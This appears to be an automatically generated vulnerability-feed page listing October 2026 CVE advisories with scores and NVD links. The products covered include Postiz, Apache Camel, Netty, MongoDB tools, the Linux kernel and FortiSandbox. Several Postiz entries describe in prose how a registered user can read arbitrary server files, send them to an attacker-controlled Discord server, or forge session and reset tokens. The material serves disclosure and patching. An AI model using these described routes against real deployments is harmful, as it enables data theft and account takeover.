NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
**UNSUPPORTED WHEN ASSIGNED**  Authorization bypass in Apache Vysper, all versions.




Apache Vysper is an XMPP (Jabber) server library. Its XEP-0077 (In-Band Registration) implementation is missing an authentication check, allowing any authenticated user to compromise other accounts.




As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Postiz lets a signed-in user ask the backend to run a function on one of their connected channels.
https://kevwire.com/record/CVE-2026-115931
Postiz lets a signed-in user ask the backend to run a function on one of their connected channels. (Oct 23, 2026).
Postiz lets a signed-in user ask the backend to run a function on one of their connected channels. The backend did not restrict which functions can be requested, so a user could call internal helper functions that were never meant to be reachable from the web interface.

One of those helpers reads a file from the server's disk. A user who connects a channel whose stored token is a file path can have the backend return the contents of any file it can read, including its environment, which holds the secret used to sign login sessions, the database address and the credentials of connected services. Another helper makes the backend process exit with a single request. Self-registration is open by default, so no existing account and no action by another user is needed.
CVSS 9.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115931).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115931&date=2026-10-25).
Sources:
NVD CVE-2026-115931: https://nvd.nist.gov/vuln/detail/CVE-2026-115931
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115931&date=2026-10-25
Postiz lets a signed-in user ask the backend to run a function on one of their connected channels. The backend did not restrict which functions can be requested, so a user could call internal helper functions that were never meant to be reachable from the web interface.

One of those helpers reads a file from the server's disk. A user who connects a channel whose stored token is a file path can have the backend return the contents of any file it can read, including its environment, which holds the secret used to sign login sessions, the database address and the credentials of connected services. Another helper makes the backend process exit with a single request. Self-registration is open by default, so no existing account and no action by another user is needed.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When a post is published, Postiz treats a media path that is not a web address as a file on the server's disk, but it does not check that the file lies inside the upload directory.
https://kevwire.com/record/CVE-2026-115932
When a post is published, Postiz treats a media path that is not a web address as a file on the server's disk, but it does not check that the file lies inside the upload directory. (Oct 24, 2026).
When a post is published, Postiz treats a media path that is not a web address as a file on the server's disk, but it does not check that the file lies inside the upload directory. A registered user can store a crafted media path with a post, get it past the checks that normally restrict it, and have the publishing worker read an arbitrary file and send it as an attachment to a Discord server the user controls.

The same unconfined reads can be reached through two further routes. One tells the caller whether a file exists and can exhaust the backend's memory, the other delivers the file the same way as the main route. Self-registration is open by default, so the attacker needs no existing account.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115932).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115932&date=2026-10-25).
Sources:
NVD CVE-2026-115932: https://nvd.nist.gov/vuln/detail/CVE-2026-115932
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115932&date=2026-10-25
When a post is published, Postiz treats a media path that is not a web address as a file on the server's disk, but it does not check that the file lies inside the upload directory. A registered user can store a crafted media path with a post, get it past the checks that normally restrict it, and have the publishing worker read an arbitrary file and send it as an attachment to a Discord server the user controls.

The same unconfined reads can be reached through two further routes. One tells the caller whether a file exists and can exhaust the backend's memory, the other delivers the file the same way as the main route. Self-registration is open by default, so the attacker needs no existing account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Postiz signs its session, invitation and password reset tokens with one shared secret and without any marker of what a token is for.
https://kevwire.com/record/CVE-2026-115933
Postiz signs its session, invitation and password reset tokens with one shared secret and without any marker of what a token is for. (Oct 24, 2026).
Postiz signs its session, invitation and password reset tokens with one shared secret and without any marker of what a token is for. A route that refreshes the credentials of a browser-extension channel signed data taken from the request itself and stored the result where the requesting user can read it back. A user could therefore obtain a validly signed token containing any claims they choose, which the application accepts as a session, as an organization invitation with a chosen role, as a password reset or as an enterprise provisioning token.

A second, narrower route that creates team invitations signs extra fields from the request body in the same way.
CVSS 9.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115933).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115933&date=2026-10-25).
Sources:
NVD CVE-2026-115933: https://nvd.nist.gov/vuln/detail/CVE-2026-115933
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115933&date=2026-10-25
Postiz signs its session, invitation and password reset tokens with one shared secret and without any marker of what a token is for. A route that refreshes the credentials of a browser-extension channel signed data taken from the request itself and stored the result where the requesting user can read it back. A user could therefore obtain a validly signed token containing any claims they choose, which the application accepts as a session, as an organization invitation with a chosen role, as a password reset or as an enterprise provisioning token.

A second, narrower route that creates team invitations signs extra fields from the request body in the same way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Python has added a denylist for known compromised certificates to the "ssl" module to ensure user safety even without certificate revocation configured.
https://kevwire.com/record/CVE-2026-115557
Python has added a denylist for known compromised certificates to the "ssl" module to ensure user safety even without certificate revocation configured. (Oct 24, 2026).
Python has added a denylist for known compromised certificates to the "ssl" module to ensure user safety even without certificate revocation configured. Known compromised certificates will automatically be rejected regardless of the SSLContext policy configuration.
CVSS 9.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115557).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115557&date=2026-10-25).
Sources:
NVD CVE-2026-115557: https://nvd.nist.gov/vuln/detail/CVE-2026-115557
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115557&date=2026-10-25
Python has added a denylist for known compromised certificates to the "ssl" module to ensure user safety even without certificate revocation configured. Known compromised certificates will automatically be rejected regardless of the SSLContext policy configuration.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MongoDB Compass relies on Electron, a third-party runtime that carries its own TLS root certificate store.
https://kevwire.com/record/CVE-2026-115929
MongoDB Compass relies on Electron, a third-party runtime that carries its own TLS root certificate store. (Oct 24, 2026).
MongoDB Compass relies on Electron, a third-party runtime that carries its own TLS root certificate store. This root certificate store has the recoverable eMudhra intermediate CA certificates. Issue is resolved by updating to Compass 1.53.1, which includes Electron 44.9.1.
CVSS 7.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115929).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115929&date=2026-10-25).
Sources:
NVD CVE-2026-115929: https://nvd.nist.gov/vuln/detail/CVE-2026-115929
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115929&date=2026-10-25
MongoDB Compass relies on Electron, a third-party runtime that carries its own TLS root certificate store. This root certificate store has the recoverable eMudhra intermediate CA certificates. Issue is resolved by updating to Compass 1.53.1, which includes Electron 44.9.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The MongoDB Shell (mongosh) relies on Node.js as a third-party runtime that carries its own TLS root certificate store.
https://kevwire.com/record/CVE-2026-115930
The MongoDB Shell (mongosh) relies on Node.js as a third-party runtime that carries its own TLS root certificate store. (Oct 26, 2026).
The MongoDB Shell (mongosh) relies on Node.js as a third-party runtime that carries its own TLS root certificate store. This certificate store has the recoverable eMudhra intermediate CA certificates. This issue impacts MongoDB Shell (mongosh) versions prior to 2.14.0 and can be resolved by updating to mongosh 2.14.0 which bundles Node.js 24.22.1 or later. If mongosh is installed through npm, it uses the Node.js runtime installed on the host; update that runtime separately.
CVSS 7.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115930).
Sources:
NVD CVE-2026-115930: https://nvd.nist.gov/vuln/detail/CVE-2026-115930
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
The MongoDB Shell (mongosh) relies on Node.js as a third-party runtime that carries its own TLS root certificate store. This certificate store has the recoverable eMudhra intermediate CA certificates. This issue impacts MongoDB Shell (mongosh) versions prior to 2.14.0 and can be resolved by updating to mongosh 2.14.0 which bundles Node.js 24.22.1 or later. If mongosh is installed through npm, it uses the Node.js runtime installed on the host; update that runtime separately.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netty netty-tcnative before 2.0.84.Final contains a heap buffer overflow vulnerability in the tcn_write_to_bytebuffer BIO callback caused by failing to wrap the non-application...
https://kevwire.com/record/CVE-2026-116539
Netty netty-tcnative before 2.0.84.Final contains a heap buffer overflow vulnerability in the tcn_write_to_bytebuffer BIO callback caused by failing to wrap the non-application... (Oct 26, 2026).
Netty netty-tcnative before 2.0.84.Final contains a heap buffer overflow vulnerability in the tcn_write_to_bytebuffer BIO callback caused by failing to wrap the non-application ring buffer write index. Remote TLS peers can drive handshake, renegotiation, or post-handshake messages into this buffer, triggering an out-of-bounds memcpy that crashes the JVM process.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116539).
Sources:
NVD CVE-2026-116539: https://nvd.nist.gov/vuln/detail/CVE-2026-116539
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
Netty netty-tcnative before 2.0.84.Final contains a heap buffer overflow vulnerability in the tcn_write_to_bytebuffer BIO callback caused by failing to wrap the non-application ring buffer write index. Remote TLS peers can drive handshake, renegotiation, or post-handshake messages into this buffer, triggering an out-of-bounds memcpy that crashes the JVM process.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netty netty-tcnative before 2.0.84.Final contains a denial of service vulnerability in the tcn_write_to_bytebuffer BIO write callback that overreports bytes consumed.
https://kevwire.com/record/CVE-2026-116541
Netty netty-tcnative before 2.0.84.Final contains a denial of service vulnerability in the tcn_write_to_bytebuffer BIO write callback that overreports bytes consumed. (Oct 26, 2026).
Netty netty-tcnative before 2.0.84.Final contains a denial of service vulnerability in the tcn_write_to_bytebuffer BIO write callback that overreports bytes consumed. Remote TLS 1.3 peers can provoke queued post-handshake records like NewSessionTicket or KeyUpdate to truncate flights, fail connections, or abort the JVM process.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116541).
Sources:
NVD CVE-2026-116541: https://nvd.nist.gov/vuln/detail/CVE-2026-116541
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
Netty netty-tcnative before 2.0.84.Final contains a denial of service vulnerability in the tcn_write_to_bytebuffer BIO write callback that overreports bytes consumed. Remote TLS 1.3 peers can provoke queued post-handshake records like NewSessionTicket or KeyUpdate to truncate flights, fail connections, or abort the JVM process.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Restriction of XML External Entity Reference vulnerability in Apache Camel Saxon component.
https://kevwire.com/record/CVE-2026-90885
Improper Restriction of XML External Entity Reference vulnerability in Apache Camel Saxon component. (Oct 26, 2026).
Improper Restriction of XML External Entity Reference vulnerability in Apache Camel Saxon component.



This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.2.



XQueryBuilder in camel-saxon, which evaluates expressions for the xquery language and the xquery component, built its default Saxon Configuration with parse options that set only a whitespace stripping rule, leaving the XML parser at its defaults, under which a DOCTYPE declaration is accepted and external entities are resolved. A message body of type String or byte[], or any body read as an InputStream, is first turned into a javax.xml.transform.Source by Camel's own XML type converters, which configure the parser against external entities, so those bodies were not affected. A body that was already a Source, however, was handed to Saxon unchanged, and when that Source still had to be parsed, as a stream-based Source does, Saxon parsed it with that Configuration, bypassing the protection applied to the other body types. Such a body arises, for example, after a route converts the message with convertBodyTo(Source.class), or when a component or processor earlier in the route sets the body to a stream-based Source. A DOCTYPE with an external subset, or an external entity, declared in that body was therefore resolved and expanded into the document the expression was evaluated against. An external sender whose XML reaches an XQuery expression or an xquery endpoint in that form could read files readable by the Camel process and cause the process to issue requests to hosts the document names. No non-default option is required, since the default Configuration is used whenever the route does not supply one of its own.



Users are recommended to upgrade to version 4.23.0, which fixes the issue. If users are on the 4.22.x releases stream, then they are suggested to upgrade to 4.22.2. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.5. The 4.14.x releases stream and earlier, as well as the 4.15.x to 4.17.x and 4.19.x to 4.21.x release lines, reached end of life before this issue was resolved and will not receive a fix, so deployments on them must
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-90885).
Sources:
NVD CVE-2026-90885: https://nvd.nist.gov/vuln/detail/CVE-2026-90885
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
Improper Restriction of XML External Entity Reference vulnerability in Apache Camel Saxon component.



This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.2.



XQueryBuilder in camel-saxon, which evaluates expressions for the xquery language and the xquery component, built its default Saxon Configuration with parse options that set only a whitespace stripping rule, leaving the XML parser at its defaults, under which a DOCTYPE declaration is accepted and external entities are resolved. A message body of type String or byte[], or any body read as an InputStream, is first turned into a javax.xml.transform.Source by Camel's own XML type converters, which configure the parser against external entities, so those bodies were not affected. A body that was already a Source, however, was handed to Saxon unchanged, and when that Source still had to be parsed, as a stream-based Source does, Saxon parsed it with that Configuration, bypassing the protection applied to the other body types. Such a body arises, for example, after a route converts the message with convertBodyTo(Source.class), or when a component or processor earlier in the route sets the body to a stream-based Source. A DOCTYPE with an external subset, or an external entity, declared in that body was therefore resolved and expanded into the document the expression was evaluated against. An external sender whose XML reaches an XQuery expression or an xquery endpoint in that form could read files readable by the Camel process and cause the process to issue requests to hosts the document names. No non-default option is required, since the default Configuration is used whenever the route does not supply one of its own.



Users are recommended to upgrade to version 4.23.0, which fixes the issue. If users are on the 4.22.x releases stream, then they are suggested to upgrade to 4.22.2. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.5. The 4.14.x releases stream and earlier, as well as the 4.15.x to 4.17.x and 4.19.x to 4.21.x release lines, reached end of life before this issue was resolved and will not receive a fix, so deployments on them must move to a supported release. For deployments that cannot upgrade immediately, do not evaluate XQuery over a message body that is already a javax.xml.transform.Source when that body carries XML from an untrusted sender, or set the configuration option of the xquery endpoint or language to a Saxon Configuration whose parse options refuse a DOCTYPE declaration and disable external entities and external DTD loading, which is what the fixed releases now apply by default.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: bpf: Drop task_to_inode and inet_conn_established from lsm sleepable hooks
https://kevwire.com/record/CVE-2026-63865
Linux kernel: bpf: Drop task_to_inode and inet_conn_established from lsm sleepable hooks (Jul 19, 2026).
In the Linux kernel, the following vulnerability has been resolved:

bpf: Drop task_to_inode and inet_conn_established from lsm sleepable hooks

bpf_lsm_task_to_inode() is called under rcu_read_lock() and
bpf_lsm_inet_conn_established() is called from softirq context, so
neither hook can be used by sleepable LSM programs.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63865).
Sources:
NVD CVE-2026-63865: https://nvd.nist.gov/vuln/detail/CVE-2026-63865
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
In the Linux kernel, the following vulnerability has been resolved:

bpf: Drop task_to_inode and inet_conn_established from lsm sleepable hooks

bpf_lsm_task_to_inode() is called under rcu_read_lock() and
bpf_lsm_inet_conn_established() is called from softirq context, so
neither hook can be used by sleepable LSM programs.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: wifi: mt76: mt7996: Clear wcid pointer in mt7996_mac_sta_deinit_link()
https://kevwire.com/record/CVE-2026-63866
Linux kernel: wifi: mt76: mt7996: Clear wcid pointer in mt7996_mac_sta_deinit_link() (Jul 19, 2026).
In the Linux kernel, the following vulnerability has been resolved:

wifi: mt76: mt7996: Clear wcid pointer in mt7996_mac_sta_deinit_link()

Clear WCID pointer removing the sta link in mt7996_mac_sta_deinit_link
routine.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63866).
Sources:
NVD CVE-2026-63866: https://nvd.nist.gov/vuln/detail/CVE-2026-63866
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
In the Linux kernel, the following vulnerability has been resolved:

wifi: mt76: mt7996: Clear wcid pointer in mt7996_mac_sta_deinit_link()

Clear WCID pointer removing the sta link in mt7996_mac_sta_deinit_link
routine.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authentication bypass using an alternate path or channel vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.6, FortiSandbox 4.4.0 through 4.4.9, FortiSandbox 4.2 all...
https://kevwire.com/record/CVE-2026-107656
An authentication bypass using an alternate path or channel vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.6, FortiSandbox 4.4.0 through 4.4.9, FortiSandbox 4.2 all... (Oct 26, 2026).
An authentication bypass using an alternate path or channel vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.6, FortiSandbox 4.4.0 through 4.4.9, FortiSandbox 4.2 all versions, FortiSandbox PaaS 5.0.0 through 5.0.6, FortiSandbox PaaS 4.4 all versions, FortiSandbox PaaS 4.2 all versions may allow attacker to execute unauthorized code or commands via crafted HTTP requests
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107656).
Sources:
NVD CVE-2026-107656: https://nvd.nist.gov/vuln/detail/CVE-2026-107656
